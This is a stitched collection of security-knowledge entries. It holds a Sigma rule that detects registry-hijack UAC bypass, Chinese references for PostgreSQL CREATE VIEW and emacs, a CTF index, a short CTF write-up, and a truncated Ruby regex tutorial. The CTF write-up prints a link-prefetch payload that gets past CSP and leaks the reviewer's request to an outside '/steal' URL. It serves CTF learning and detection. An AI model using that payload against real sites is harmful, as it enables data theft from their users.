attack.t1548.002 - car.2019-04-001 logsource: product: windows category: registry_event detection: methregistry: TargetObject|startswith: 'HKCU\' TargetObject|endswith: '\mscfile\shell\open\command' condition: methregistry falsepositives: - unknown level: critical ``` ## 参考推荐 MITRE-ATT&CK-T1548-002 <https://attack.mitre.org/techniques/T1548/002/> 使用 EVENTVWR.EXE 和注册表劫持的“无文件”UAC绕过 <https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/>
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "CREATE VIEW" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME CREATE VIEW \- 定义一个视图 .SH SYNOPSIS .sp .nf CREATE [ OR REPLACE ] VIEW \fIname\fR [ ( \fIcolumn_name\fR [, ...] ) ] AS \fIquery\fR .sp .fi .SH "DESCRIPTION 描述" .PP \fBCREATE VIEW\fR 定义一个查询的视图。 这个视图不是物理上实际存在(于磁盘)的。具体的说,自动生成一个改写索引规则(一个 ON SELECT 规则)的查询用以支持在视图上的检索。 .PP \fBCREATE OR REPLACE VIEW\fR 类似,不过是如果一个同名的视图已经存在,那么就替换它。 你只能用一个生成相同字段的新查询替换一个视图(也就是说,同样字段名和数据类型)。 .PP 如果给出了一个模式名(比如,CREATE VIEW myschema.myview ...),那么该视图是在指定的模式中创建的。 否则它是在当前模式中创建的。 该视图名字必需和同一模式中任何其它视图,表,序列或者索引的名字不同。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 所要创建的视图名称(可以有模式修饰)。 .TP \fB\fIcolumn_name\fB\fR 一个可选的名字列表,用于当作视图的字段名。如果没有给出, 字段名取自查询。 .TP \fB\fIquery\fB\fR 一个将为视图提供行和列的查询(也就是一条 SELECT 语句)。 请参阅 SELECT [\fBselect\fR(7)] 获取有效查询的更多信息。 .SH "NOTES 注意" .PP 目前,视图是只读的:系统将不允许在视图上插入,更新,或者删除数据。 你可以通过在视图上创建把插入等动作重写为向其它表做合适操作的规则来实现可更新视图的效果。 更多信息详见 CREATE RULE [\fBcreate_rule\fR(7)]. .PP 使用 DROP VIEW 语句删除视图 .PP 请注意视图字段的名字和类型不一定是你们期望的那样。比如, .sp .nf CREATE VIEW vista AS SELECT 'Hello World'; .sp .fi 在两个方面很糟糕:字段名缺省是 ?column?,并且字段的数据类型缺省是 unknown。 如果你想视图的结果是一个字串文本,那么用类似下面这样的东西 .sp .nf CREATE VIEW vista AS SELECT text 'Hello World' AS hello; .sp .fi .PP 对视图引用的表的访问的权限由视图的所有者决定。 不过,在视图里调用的函数当作他们直接从使用视图的查询里调用看待。 因此,视图的用户必须有使用视图调用的所有函数的权限。 .SH "EXAMPLES 例子" .PP 创建一个由所有喜剧电影组成的视图: .sp .nf CREATE VIEW comedies AS SELECT * FROM films WHERE kind = 'Comedy'; .sp .fi .SH "COMPATIBILITY 兼容性" .PP SQL 标准为 CREATE VIEW 声明了一些附加的功能: .sp .nf CREATE VIEW \fIname\fR [ ( \fIcolumn\fR [, ...] ) ] AS query [ WITH [ CASCADE | LOCAL ] CHECK OPTION ] .sp .fi .PP 完整的SQL命令可选的子句是: .TP \fBCHECK OPTION\fR 这个选项用于可更新视图。 所有对视图的INSERT和UPDATE都要经过视图定义条件的校验。 (也就是说,新数据应该可以通过视图看到。)如果没有通过校验,更新将被拒绝。 .TP \fBLOCAL\fR 对这个视图进行完整性检查。 .TP \fBCASCADE\fR 对此视图和任何相关视图进行完整性检查。 在既没有声明 CASCADE 也没有声明 LOCAL 时,假设为 CASCADE。 .PP .PP \fBCREATE OR REPLACE VIEW\fR 是 PostgreSQL 的扩展。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
emacs === 功能强大的全屏文本编辑器 ## 补充说明 **emacs命令** 是由GNU组织的创始人Richard Stallman开发的一个功能强大的全屏文本编辑器,它支持多种编程语言,具有很多优良的特性。有众多的系统管理员和软件开发者使用emacs。 ### 语法 ```shell emacs(选项)(参数) ``` ### 选项 ```shell +<行号>:启动emacs编辑器,并将光标移动到制定行号的行; -q:启动emacs编辑器,而不加载初始化文件; -u<用户>:启动emacs编辑器时,加载指定用户的初始化文件; -t<文件>:启动emacs编辑器时,把指定的文件作为中端,不适用标准输入(stdin)与标准输出(stdout); -f<函数>:执行指定lisp(广泛应用于人工智能领域的编程语言)函数; -l<lisp代码文件>:加载指定的lisp代码文件; -batch:以批处理模式运行emacs编辑器。 ``` ### 参数 文件:指定要编辑的文本文件。 ## emacs命令操作大全 基本命令 ```shell C-x C-c : 退出Emacs C-x C-f : 打开一个文件,如果文件不存在,则创建一个文件 C-g : 取消未完成的命令 ``` 编辑 ```shell C-z (redefined): Undo;原来C-z是挂起Emacs(然后用fg命令调出);C-x u 是默认的命令; 移动一下光标,再C-z就可以redo M-d : 删除光标后的词语 ``` 移动光标 ```shell C-v : 向前翻页 M-v : 向后翻页 M-r : 将光标移动到屏幕中间那行 C-a : 移到行首 M-a : 移到句首,从行首到句首之间可能有空格 C-e : 移到行尾 M-e : 移到句尾 M-{ : 向上移动一段 M-} : 向下移动一段 C-right : 向前移动一个单词 C-left : 向后移动一个单词 C-up : 向前移动一段 C-down : 向后移动一段 M-< : 移到整个文本开头 M-> : 移到整个文本末尾 C-u 数字 命令 : 执行多次(数字表示次数)该命令;"M-数字 命令" 也可以 M-x goto-line : 移动到某一行 C-l : 重绘屏幕,效果就是当前编辑行移动窗口中央 ``` Buffer 相关 ```shell C-x k : 关闭当前buffer C-x b : 切换到前一个编辑的buffer C-x C-b : 列出当前所有buffer C-x C-s : 保存当前buffer C-x s : 保存所有未保存的buffer,会提示你是否需要保存 C-x C-w : 文件另存为 ``` 拷贝与粘贴 ```shell M-space (redefined): 设置mark; C-@ 是默认命令 C-w (redefined) : 剪切一块区域;如果没有设置mark,则是剪切一行 M-w (redefined) : 拷贝一块区域;如果没有设置mark, 则是拷贝一行 C-k : 从当前位置剪切到行尾 C-y : 粘贴 M-y : 用C-y拉回最近被除去的文本后,换成 M-y可以拉回以前被除去的文本。键入多次的M-y可以拉回更早以前被除去的文本。 C-x r k : 执行矩形区域的剪切 C-x r y : 执行矩形区域的粘贴 ``` ```shell 窗口操作 C-x 0 : 关闭当前窗口 C-x 1 : 将当前窗口最大化 C-x 2 : 垂直分割窗口 C-x 3 : 水平分割窗口 M-o (redefined) : 在窗口之间切换; C-x o 是默认命令 C-x 5 1/2/3/0 : 对frame类似的操作 C-x < : 窗口内容右卷 C-x > : 窗口内容左卷(这两个命令在垂直分割窗口后比较有用) (C-u) C-x ^ : 加高当前窗口,如果有C-u,则每次加高4行 (C-u) C-x } : 加宽当前窗口 (C-u) C-x { : 压窄当前窗口 ESC C-v : 在其它窗口进行卷屏操作 ``` 搜索和替换 ```shell C-s : 向前搜索(增量式搜索);连续C-s,跳到下一个搜索到的目标 C-s RET : 普通搜索 C-r : 向前搜索 C-s RET C-w : 按单词查询 M-% : 查询替换,也就是替换前会询问一下 M-x replace-string : 普通替换 ``` Tags ```shell M-! etags .c .h : 创建TAGS文件 M-. : 跳到tag所在位置 M-x list-tags : 列出tags ``` 书签 ```shell C-x r m : 设置书签bookmark C-x r b : 跳到bookmark处 ``` 帮助 ```shell C-h ? : 查看帮助信息 C-h f : 查看一个函数 C-h v : 查看一个变量 C-h k : 查看一个键绑定 (C-h c 也是查看键绑定,但是信息较简略) C-h C-f : 查看一个函数的info,非常有用 C-h i : 看Info ``` 其它 ```shell C-M-\ : 对选中区域,按照某种格式(比如C程序)进行格式化 C-x h : 全部选中 M-! : 执行外部shell命令 M-x shell : 模拟shell的buffer M-x term : 模拟terminal, C-c k 关闭terminal C-x C-q : 修改buffer的只读属性 ```
sec-knowleage
# CyberArk CTF - 2021 Writeups for the [2021 CyberArk CTF](https://ctf.cyberark-labs.com/). Solved together with [zVaz](https://twitter.com/_zVaz_) and [YaakovCohen88](https://twitter.com/YaakovCohen88), finished ninth. ![](images/top10.png) Additional resources (including other writeups) can be found [here](https://github.com/Dvd848/CTFs/discussions/17).
sec-knowleage
## Bug Bounty (web, 3 points, 45 solves) grill the web! http://52.87.183.104:5000/ This task was a bug bounty website. We were able to log in, submit found bugs, and had them reviewed by website owner. After trying a couple of standard things, we found that our input for the bug field was not properly sanitized - we could write there `<b>aaa</b>` and it would be bold. Immediately, we though about XSS possibility. For some reason simple `<script>alert(1)</script>` was not working though. Looking at Chrome's console, we found that the website uses CSP protection, which in this case meant the only JS able to execute was the whitelisted five scripts. They were of no use for us. Googling for ways to bypass the CSP, we found [this site](http://blog.sec-consult.com/2013/07/content-security-policy-csp-another.html). In particular, one of the attacks listed there worked: ``` <link id=1 rel="prefetch" href="http://completely_other_domain.sec-consult.com/steal"> ``` This generated a request to our website after a couple seconds from us sending a bug. When we looked at headers contained within that request, we noticed an interesting User-Agent header: `BKPCTF{choo choo__here comes the flag}`. :D
sec-knowleage
# 正则 --- - https://www.kancloud.cn/imxieke/ruby-base/107304 --- Ruby 的特点是“万物皆对象”,正则表达式也不例外。正则表达式对象所属的类就是接下来我们将要介绍的 Regexp 类。 # 关于正则表达式 下面我们开始介绍有关正则表达式的一些概念及用法。 **正则表达式的写法与用法** 正则表达式描述的是一种“模式”,该模式被用于匹配字符串。一般情况下,我们把正则表达式模式的对象(`Regexp` 类对象)称为“正则表达式对象”,或直接称为“正则表达式”。 到目前为止,我们都是使用纯文本文字作为模式,而实际上还有更复杂的模式。例如,通过模式可以很简单地匹配“首字符为 A 到 D 中的某个字母,从第 2 个字符开始为数字”这样的字符串(这个模式可写为 `/[A-D]\d+/`)。 但模式也并非是万能的,例如像“与 Ruby 类似的字符串”这种含糊的模式就无法书写。模式说明的东西应该更具体一些,例如“以 R 开头,以 y 结尾,由 4 个字母组成”(这个模式可写为 `/R..y/`)。 **正则表达式对象的创建方法** 在程序中,通过用 `//` 将表示正则表达式模式的字符串括起来,就可以非常简单地创建出正则表达式。 另外,我们也可以使用类方法 `Regexp.new(str)` 来创建对象。当程序中已经定义了字符串对象 `str`,且希望根据这个字符串来创建正则表达式时,用这个方法会比较好。 ```ruby re = Regexp.new("Ruby") ``` 除上述两种方法外,与数组、字符串一样,我们也可以通过使用 `%` 的特殊语法来创建。正则表达式的情况下使用的是 `%r`,如果正则模式中包含 `/`,用这种方法会比较方便。语法如下所示: - `%r` (模式) - `%r` <模式> - `%r` |模式| - `%r!` 模式! # 正则表达式的模式与匹配 了解正则表达式的创建方法后,接下来讨论一下模式。`=~` 方法是正则表达式中常用的方法,可以用来判断正则表达式与指定字符串是否匹配。 ``` 正则表达式 =~ 字符串 ``` 无法匹配时返回 `nil`,匹配成功则返回该字符串起始字符的位置。 Ruby 会将 `nil` 与 `false` 解析为“假”,将除此以外的值解析为“真”,因此,如果要根据匹配结果执行不同的处理,则可以像下面这样写。 ```ruby if 正则表达式 =~ 字符串  匹配时的处理 else  不匹配时的处理 end ``` 我们还可以使用 `!~` 来颠倒“真”与“假”。 **匹配普通字符** 们首先来看看如何通过模式进行简单的匹配。当模式中只写有英文、数字时,正则表达式会单纯地根据目标字符串中是否包含该模式中的字符来判断是否匹配 > 匹配部分都用▶匹配部分◀来表示 模式 | 字符串 | 匹配部分 - | - | - /ABC/ | "ABC" | "▶ABC◀" /ABC/ | "ABCDEF" | "▶ABC◀DEF" /ABC/ | "123ABC" | "123▶ABC◀" /ABC/ | "A1B2C3" | (不匹配) /ABC/ | "AB" | (不匹配) /AB/ | "abc" | (不匹配) **匹配行首与行尾** 在上面的例子中,`/ABC/` 模式的情况下,只要是包含 `ABC` 的字符串就都可以匹配。但如果我们只想匹配 ABC 这一字符串,也就是说只匹配 `"ABC"`,而不匹配 `"012ABC"`、`"ABCDEF"` 等,这时的模式应该怎么写呢?这种情况下,我们可以使用模式 `/^ABC$/`。 `^`、`$` 是有特殊意义的字符。但它们并不用于匹配 `^` 与 `$` 字符。像这样的特殊字符,我们称之为元字符(meta character)。 `^` 表示匹配行首,`$` 表示匹配行尾。也就是说,模式 `/^ABC/` 匹配行首为 `ABC` 的字符串,模式 `/ABC$/` 匹配行尾为 `ABC` 的字符串。 模式 | 字符串 | 匹配部分 - | - | - /^ABC$/ | "ABC" | "▶ABC◀" /^ABC$/ | "ABCDEF" | (不匹配) /^ABC$/ | "123ABC" | (不匹配) /^ABC/ | "ABC" | "▶ABC◀" /^ABC/ | "ABCDEF" | "▶ABC◀DEF" /^ABC/ | "123ABC" | 不匹配 /ABC$/ | "ABC" | "▶ABC◀" /ABC$/ | "ABCDEF" | (不匹配) /ABC$/ | "123ABC" | "123▶ABC◀" **行首与行尾** `^`、`$` 分别匹配“行首”、“行尾”,而不是“字符串的开头”、“字符串末尾”。匹配字符串的开头用元字符 `\A`,匹配字符串的末尾用元字符 `\z`。 这两种情况有什么不同呢? Ruby 的字符串,也就是 `String` 对象中,所谓的“行”就是用换行符 `(\n) `间隔的字符串。因此模式 `/^ABC/` 也可以匹配字符串 `"012\nABC"`。也就是说 ``` 012 ABC ``` 像上面这种跨两行的字符串的情况下,由于第 2 行是以 `ABC` 开头的,因此也可以匹配。 那么为什么要将行首 `/` 行尾与字符串的开头 `/` 结尾分开定义呢?这是有历史原因的。 具体来说,原本正则表达式只能逐行匹配字符串,不能匹配多行字符串。因此就可以认为一个“字符串”就是一“行”。 但是,随着正则表达式的广泛使用,人们开始希望可以匹配多行字符串。而如果仍用 `^`、`$` 来匹配字符串的开头、结尾的话就很容易造成混乱,因此就另外定义了匹配字符串开头、结尾的元字符。 另外,还有一个与 `\z` 类似的表现,就是 `\Z`,不过两者的作用有点不一样。`\Z` 虽然也是匹配字符串末尾的元字符,但它有一个特点,就是如果字符串末尾是换行符,则匹配换行符前一个字符。 ```ruby p "abc\n".gsub(/\z/, "!") => "abc\n!" p "abc\n".gsub(/\Z/, "!") => "abc!\n!" ``` 我们一般常用 `\z`,而很少使用 `\Z`。 **指定匹配字符的范围** 时候我们会希望匹配“ABC 中的 1 个字符”。像这样,选择多个字符中的 1 个时,我们可以使用 `[]`。 - `[AB]`    ……A或B - `[ABC]`   ……A或B或C - `[CBA]`    ……同上(与[]中的顺序无关) - `[012ABC]` ……0、1、2、A、B、C中的1个字符 不过,如果按照这样的写法,那么匹配“从 A 到 Z 的全部英文字母”时就麻烦了。这种情况下,我们可以在 `[]` 中使用 `-`,来表示一定范围内的字符串。 - `[A-Z]`   ……从A到Z的全部大写英 文字母 - `[a-z]`    ……从a 到z 的全部小写英文字母 - `[0-9]`    ……从0到9 的全部数字 - `[A-Za-z]`  ……从A到Z与从a到z的全部英文字母 - `[A-Za-z_]` ……全部英 文字母与 _ > 备注 字符的范围也称为“字符类”。请注意这里的“类”与面向对象中的“类”的意义是不一样的。 如果 `-` 是 `[]` 中首个或者最后 1 个字符,那么就只是单纯地表示 `-` 字符。反过来说,如果 `-` 表示的不是字符类,而是单纯的字符 `-`,那么就必须写在模式的开头或者末尾。 - `[A-Za-z0-9_-]` ……全部英文字母、全部数字、_、- 在 `[]` 的开头使用 `^` 时,`^` 表示指定字符以外的字符。 - `[^ABC]`   ……A、B、C 以外的字符 - `[^a-zA-Z]` ……a 到 z,A 到 Z(英文字母)以外的字符 表为一些实际进行匹配的例子。另外,在 1 个模式中还可以使用多个 `[]` 模式 | 字符串 | 匹配部分 - | - | - /[ABC]/ | "B" | "▶B◀" /[ABC]/ | "BCD" | "▶B◀CD" /[ABC]/ | "123" | (不匹配) /a[ABC]c/ | "aBc" | "▶aBc◀" /a[ABC]c/ | "1aBcDe" | "1▶aBc◀De" /a[ABC]c/ | "abc" | (不匹配) /[^ABC]/ | "1" | "▶1◀" /[^ABC]/ | "A" | (不匹配) /a[^ABC]c/ | "aBcabc" | "aBc▶abc◀" /[ABC][AB]/ | "AB" | "▶AB◀" /[ABC][AB]/ | "AA" | "▶AA◀" /[ABC][AB]/ | "CA" | "▶CA◀" /[ABC][AB]/ | "CCCCA" | "CCC▶CA◀" /[ABC][AB]/ | "xCBx" | "x▶CB◀x" /[ABC][AB]/ | "CC" | (不匹配) /[ABC][AB]/ | "CxAx" | (不匹配) /[ABC][AB]/ | "C" | (不匹配) /[0-9][A-Z]/ | "0A" | "▶0A◀" /[0-9][A-Z]/ | "000AAA" | "00▶0A◀AA" /[^A-Z][A-Z]/ | "1A2B3C" | "▶1A◀2B3C" /[^0-9][^A-Z]/ | "1A2B3C" | "1▶A2◀B3C" **匹配任意字符** 有时候我们会希望定义这样的模式,即“不管是什么字符,只要匹配 1 个字符就行”。这种情况下,我们可以使用元字符 `.`。 - `……`匹配任意字符 模式 | 字符串 | 匹配部分 - | - | - /A.C/ | "ABC" | "▶ABC◀" /A.C/ | "AxC" | "▶AxC◀" /A.C/ | "012A3C456" | "012▶A3C◀456" /A.C/ | "AC" | (不匹配) /A.C/ | "ABBC" | (不匹配) /A.C/ | "abc" | (不匹配) /aaa.../ | "00aaabcde" | "00▶aaabcd◀e" /aaa.../ | "aaabb" | (不匹配) 然而,可能有读者会问:“程序在什么时候会需要能够匹配任意字符的字符呢”。的确,任意字符都能匹配的话,也就没有必要特意指定了。 在下面两种情况下,一般会使用这个元字符。 在希望指定字符数时使用 `/^...$/` 这样的模式可以匹配字符数为 3 的行。与元字符 `*` 配合使用 **使用反斜杠的模式** 与字符串一样,我们也可以使用 +1 个英文字母这样的形式来表示换行、空白等特殊字符。 - `\s` 表示空白符,匹配空格(0x20)、制表符(Tab)、换行符、换页符 模式 | 字符串 | 匹配部分 - | - | - /ABC\sDEF/ | "ABC DEF" | "▶ABC DEF◀" /ABC\sDEF/ | "ABC\tDEF" | "▶ABC\tDEF◀" /ABC\sDEF/ | "ABCDEF" | (不匹配) - `\d` 匹配 0 到 9 的数字 模式 | 字符串 | 匹配部分 - | - | - /\d\d\d-\d\d\d\d/ | "012-3456" | "▶012-3456◀" /\d\d\d-\d\d\d\d/ | "01234-012345" | "01▶234-0123◀45" /\d\d\d-\d\d\d\d/ | "ABC-DEFG" | (不匹配) /\d\d\d-\d\d\d\d/ | "012-21" | (不匹配) - `\w` 匹配英文字母与数字 模式 | 字符串 | 匹配部分 - | - | - /\w\w\w/ | "ABC" | "▶ABC◀" /\w\w\w/ | "abc" | "▶abc◀" /\w\w\w/ | "012" | "▶012◀" /\w\w\w/ | "AB C" | (不匹配) /\w\w\w/ | "AB\nC" | (不匹配) - `\A` 匹配字符串的开头 模式 | 字符串 | 匹配部分 - | - | - /\AABC/ | "ABC" | "▶ABC◀" /\AABC/ | "ABCDEF" | "▶ABC◀DEF" /\AABC/ | "012ABC" | (不匹配) /\AABC/ | "012\nABC" | (不匹配) - `\z` 匹配字符串的末尾 模式 | 字符串 | 匹配部分 - | - | - /ABC\z/ | "ABC" | "▶ABC◀" /ABC\z/ | "012ABC" | "012▶ABC◀" /ABC\z/ | "ABCDEF" | (不匹配) /ABC\z/ | "012\nABC" | "012\n▶ABC◀" /ABC\z/ | "ABC\nDEF" | (不匹配) - 元字符转义 我们还可以用 `\` 对元字符进行转义。在 `\` 后添加 `^`、`$`、`[` 等非字母数字的元字符后,该元字符就不再发挥元字符的功能,而是直接被作为元字符本身来匹配 模式 | 字符串 | 匹配部分 - | - | - /ABC\[/ | "ABC[" | "▶ ABC[ ◀" /\^ABC/ | "ABC" | (不匹配) /\^ABC/ | "012^ABC" | "012▶^ABC◀" **重复** 有时候,我们会需要重复匹配多次相同的字符。例如,匹配“`"Subject:"` 字符串后多个空白符,空白符后又有字符串这样的行”(这是匹配电子邮件的主题时使用的模式)。 正则表达式中用以下元字符来表示重复匹配的模式。 - `*** ……重复 0 次以上**` 使用 * 的例子 模式 | 字符串 | 匹配部分 - | - | - /A*/ | "A" | "▶A◀" /A*/ | "AAAAAA" | "▶AAAAAA◀" /A*/ | "" | "▶◀" /A*/ | "BBB" | "▶◀"BBB /A*C/ | "AAAC" | "▶AAAC◀" /A*C/ | "BC" | "B▶C◀" /A*C/ | "AAAB" | (不匹配) /AAA*C/ | "AAC" |"▶AAC◀" /AAA*C/ | "AC" |(不匹配) /A.*C/ | "AB012C" | "▶AB012C◀" /A.*C/ | "AB CD" | "▶AB C◀D" /A.*C/ | "ACDE" | "▶AC◀DE" /^Subject:\s*.*$/ | "Subject: foo" | "▶Subject: foo◀" /^Subject:\s*.*$/ | "Subject: Re: foo" | "▶Subject: Re: foo◀" /^Subject:\s*.*$/ | "Subject:Re^2 foo" | "▶Subject:Re^2 foo◀" /^Subject:\s*.*$/ | "in Subject:Re foo" | (不匹配) - `+ ……重复 1 次以上` 模式 | 字符串 | 匹配部分 - | - | - /A+/ | "A" | "▶A◀" /A+/ | "AAAAAA" | "▶AAAAAA◀" /A+/ | "" | (不匹配) /A+/ | "BBB" | (不匹配) /A+C/ | "AAAC" | "▶AAAC◀" /A+C/ | "BC" | (不匹配) /A+C/ | "AAAB" | (不匹配) /AAA+C/ | "AAC" | (不匹配) /AAA+C/ | "AC" | (不匹配) /A.+C/ | "AB012C" | "▶AB012C◀" /A.+C/ | "AB CD" | "▶AB C◀D" /A.+C/ | "ACDE" | (不匹配) - `? ……重复 0 次或 1 次` 模式 | 字符串 | 匹配部分 - | - | - /^A?$/ | "A" | "▶A◀" /^A?$/ | "" | "▶◀" /^A?$/ | "AAAAAA" | (不匹配) /^A?C/ | "AC" | "▶AC◀" /^A?C/ | "AAAC" | (不匹配) /^A?C/ | "BC" | (不匹配) /^A?C/ | "C" | "▶C◀" /AAA?C/ | "AAAC" | "▶AAAC◀" /AAA?C/ | "AAC" | "▶AAC◀" /AAA?C/ | "AC" | (不匹配) /A.?C/ | "ACDE" | "▶AC◀DE" /A.?C/ | "ABCDE" | "▶ABC◀DE" /A.?C/ | "AB012C" | (不匹配) /A.?C/ | "AB CD" | (不匹配) **最短匹配** 匹配 0 次以上的 `*` 以及匹配 1 次以上的 `+` 会匹配尽可能多的字符 1。相反,匹配尽可能少的字符 2 时(重复后的模式首次出现的位置之前的部分),我们可以用以下元字符: - `*? ……0 次以上的重复中最短的部分` - `+? ……1 次以上的重复中最短的部分` 模式 | 字符串 | 匹配部分 - | - | - /A.*B/ | "ABCDABCDABCD" | "▶ABCDABCDAB◀CD" /A.*C/ | "ABCDABCDABCD" | "▶ABCDABCDABC◀D" /A.*?B/ | "ABCDABCDABCD" | "▶AB◀CDABCDABCD" /A.*?C/ | "ABCDABCDABCD" | "▶ABC◀DABCDABCD" /A.+B/ | "ABCDABCDABCD" | "▶ABCDABCDAB◀CD" /A.+C/ | "ABCDABCDABCD" | "▶ABCDABCDABC◀D" /A.+?B/ | "ABCDABCDABCD" | "▶ABCDAB◀CDABCD" /A.+?C/ | "ABCDABCDABCD" | "▶ABC◀DABCDABCD" **() 与重复** 在刚才的例子中,我们只是重复匹配了 1 个字符,而通过使用 `()`,我们还可以重复匹配多个字符 模式 | 字符串 | 匹配部分 - | - | - /^(ABC)*$/ | "ABC" | "▶ABC◀" /^(ABC)*$/ | "" | "▶◀" /^(ABC)*$/ | "ABCABC" | "▶ABCABC◀" /^(ABC)*$/ | "ABCABCAB" | (不匹配) /^(ABC)+$/ | "ABC" | "▶ABC◀" /^(ABC)+$/ | "" | (不匹配) /^(ABC)+$/ | "ABCABC" | "▶ABCABC◀" /^(ABC)+$/ | "ABCABCAB" | (不匹配) /^(ABC)?$/ | "ABC" | "▶ABC◀" /^(ABC)?$/ | "" | "▶◀" /^(ABC)?$/ | "ABCABC" | (不匹配) /^(ABC)?$/ | "ABCABCAB" | (不匹配) **选择** 我们可以用 `|` 在几个候补模式中匹配任意一个 模式 | 字符串 | 匹配部分 - | - | - /^(ABC|DEF)$/ | "ABC" | "▶ABC◀" /^(ABC|DEF)$/ | "DEF" | "▶DEF◀" /^(ABC|DEF)$/ | "AB" | (不匹配) /^(ABC|DEF)$/ | "ABCDEF" | (不匹配) /^(AB|CD)+$/ | "ABCD" | "▶ABCD◀" /^(AB|CD)+$/ | "" | (不匹配) /^(AB|CD)+$/ | "ABCABC" | (不匹配) /^(AB|CD)+$/ | "ABCABCAB" | (不匹配) # 使用 quote 方法的正则表达式 有时候我们可能会希望转义(escape)正则表达式中的所有元字符。而 `quote` 方法就可以帮我们实现这个想法。`quote` 方法会返回转义了元字符后的正则表达式字符串,然后再结合 `new` 方法,就可以生成新的正则表达式对象了。 ```Ruby re1 = Regexp.new("abc*def") re2 = Regexp.new(Regexp.quote("abc*def")) p (re1 =~ "abc*def") #=> nil p (re2 =~ "abc*def") #=> 0 ``` `quote` 方法的问题在于不能以元字符的格式写元字符。因此,在写一些复杂的正则表达式时,建议不要使用 `quote` 方法,而是乖乖地对元字符进行转义。 # 正则表达式的选项 正则表达式中还有选项,使用选项可以改变正则表达式的一些默认效果。 设定正则表达式的选项时,只需在 `/…/` 的后面指定即可,如 `/… /im`,这里的 `i` 以及 `m` 就是正则表达式的选项。 - `i` 忽略英文字母大小写的选项。指定这个选项后,无论字符串中的字母是大写还是小写都会被匹配。 - `x` 忽略正则表达式中的空白字符以及 `#` 后面的字符的选项。指定这个选项后,我们就可以使用 `#` 在正则表达式中写注释了。 - `m` 指定这个选项后,就可以使用 . 匹配换行符了。 ```ruby str = "ABC\nDEF\nGHI" p /DEF.GHI/ =~ str #=> nil p /DEF.GHI/m =~ str #=> 4 ``` 表中总结了几种常用的选项。 选项 | 选项常量 | 意义 - | - | - i | Regexp::IGNORECASE | 不区分大小写 x | Regexp::EXTENDED | 忽略模式中的空白字符 m | R egexp::MULTILINE | 匹配多行 o | (无) | 只使用一次内嵌表达式 `Regexp.new` 方法中的第 2 个参数可用于指定选项常量。只需要 1 个参数时,可不指定第 2 个参数或者直接指定 `nil`。 例如,`/Ruby` 脚本 `/i` 这一正则表达式,可以像下面那样写: ```ruby Regexp.new("Ruby 脚本", Regexp::IGNORECASE) ``` 另外,我们还可以用 `|` 指定多个选项。这时,`/Ruby` 脚本 `/im` 这一正则表达式就变成了下面这样: ```ruby Regexp.new("Ruby 脚本", Regexp::IGNORECASE | Regexp::MULTILINE) ``` # 捕获 除了检查字符是否匹配外,正则表达式还有另外一个常用功能,甚至可以说是比匹配更加重要的功能——捕获(后向引用)。 所谓捕获,就是从正则表达式的匹配部分中提取其中的某部分。通过“$ 数字”这种形式的变量,就可以获取匹配了正则表达式中的用 `()` 括住的部分的字符串。 ```ruby /(.)(.)(.)/ =~ "abc" first = $1 second = $2 third = $3 p first #=> "a" p second #=> "b" p third #=> "c" ``` 在进行匹配的时候,我们只知道是否匹配、匹配第几个字符之类的信息。而使用捕获后,我们就可以知道哪部分被匹配了。因此,通过这个功能,我们就可以非常方便地对字符串进行分析。 我们提到了 `()` 也被用于将多个模式整理为一个。在修改程序中的正则表达式时,如果改变了 `()` 的数量,那么将要引用的部分的索引也会随之改变,有时就会带来不便。这种情况下,我们可以使用 `(?: )` 过滤不需要捕获的模式。 ```ruby /(.)(\d\d)+(.)/ =~ "123456" p $1 #=> "1" p $2 #=> "45" p $3 #=> "6" /(.)(?:\d\d)+(.)/ =~ "123456" p $1 #=> "1" p $2 #=> "6" ``` 除了“`$` 数字”这种形式以外,保存匹配结果的变量还有 `$`、`$&`、`$`,分表代表匹配部分前的字符串、匹配部分的字符串、匹配部分后的字符串。为了方便大家快速理解这 3 个变量的含义,我们来看看下面这个例子: ```ruby /C./ =~ "ABCDEF" p $` #=> "AB" p $& #=> "CD" p $' #=> "EF" ``` 这样一来,我们就可以将字符串整体分为匹配部分与非匹配部分,并将其分别保存在 3 个不同的变量中。 # 使用正则表达式的方法 字符串相关的方法中有一些使用了正则表达式,接下来我们就来介绍一下其中的 `sub` 方法、`gsub` 方法、`scan` 方法。 **sub 方法与 gsub 方法** `sub` 方法与 `gsub` 方法的作用是用指定的字符置换字符串中的某部分字符。 `sub` 方法与 `gsub` 方法都有两个参数。第 1 个参数用于指定希望匹配的正则表达式的模式,第 2 个参数用于指定与匹配部分置换的字符。`sub` 方法只置换首次匹配的部分,而 `gsub` 方法则会置换所有匹配的部分。 ```ruby str = "abc def g hi" p str.sub(/\s+/,' ') #=> "abc def g hi" p str.gsub(/\s+/,' ') #=> "abc def g hi" ``` `/\s+/` 是用于匹配 1 个以上的空白字符的模式。因此在本例中,`sub` 方法与 `gsub` 方法会将匹配的空白部分置换为 1 个空白。`sub` 方法只会置换 `abc` 与 `def` 间的空白,而 `gsub` 方法则会将字符串后面匹配的空白部分全部置换。 `sub` 方法与 `gsub` 方法还可以使用块。这时,程序会将字符串中匹配的部分传递给块,并在块中使用该字符串进行处理。这样一来,块中返回的字符串就会置换字符串中匹配的部分。 ```ruby str = "abracatabra" nstr = str.sub(/.a/) do |matched| '<'+matched.upcase+'>' end p nstr #=> "ab<RA>catabra" nstr = str.gsub(/.a/) do |matched| '<'+matched.upcase+'>' end p nstr #=> "ab<RA><CA><TA>b<RA>" ``` 在本例中,程序会将字符串 `a` 以及 `a` 之前的字母转换为大写,并用 `<>` 将其括起来。 `sub` 方法与 `gsub` 方法也有带 `!` 的方法。`sub!` 方法与 `gusb!` 方法会直接将作为接受者的对象变换为置换后的字符串。 **scan 方法** `scan` 方法能像 `gsub` 方法那样获取匹配部分的字符,但不能做置换操作。因此,当需要对匹配部分做某种处理时,可以使用该方法 ```ruby "abracatabra".scan(/.a/) do |matched| p matched end ``` 执行示例 ``` > ruby scan1.rb "ra" "ca" "ta" "ra" ``` 在正则表达式中使用 `()` 时,匹配部分会以数组的形式返回 ```ruby "abracatabra".scan(/(.)(a)/) do |matched| p matched end ``` 执行示例 ``` > ruby scan2.rb ["r", "a"] ["c", "a"] ["t", "a"] ["r", "a"] ``` 另外,如果指定与 `()` 相等数量的块参数,则返回的结果就不是数组,而是各个元素。 ```ruby "abracatabra".scan(/(.)(a)/) do |a, b| p 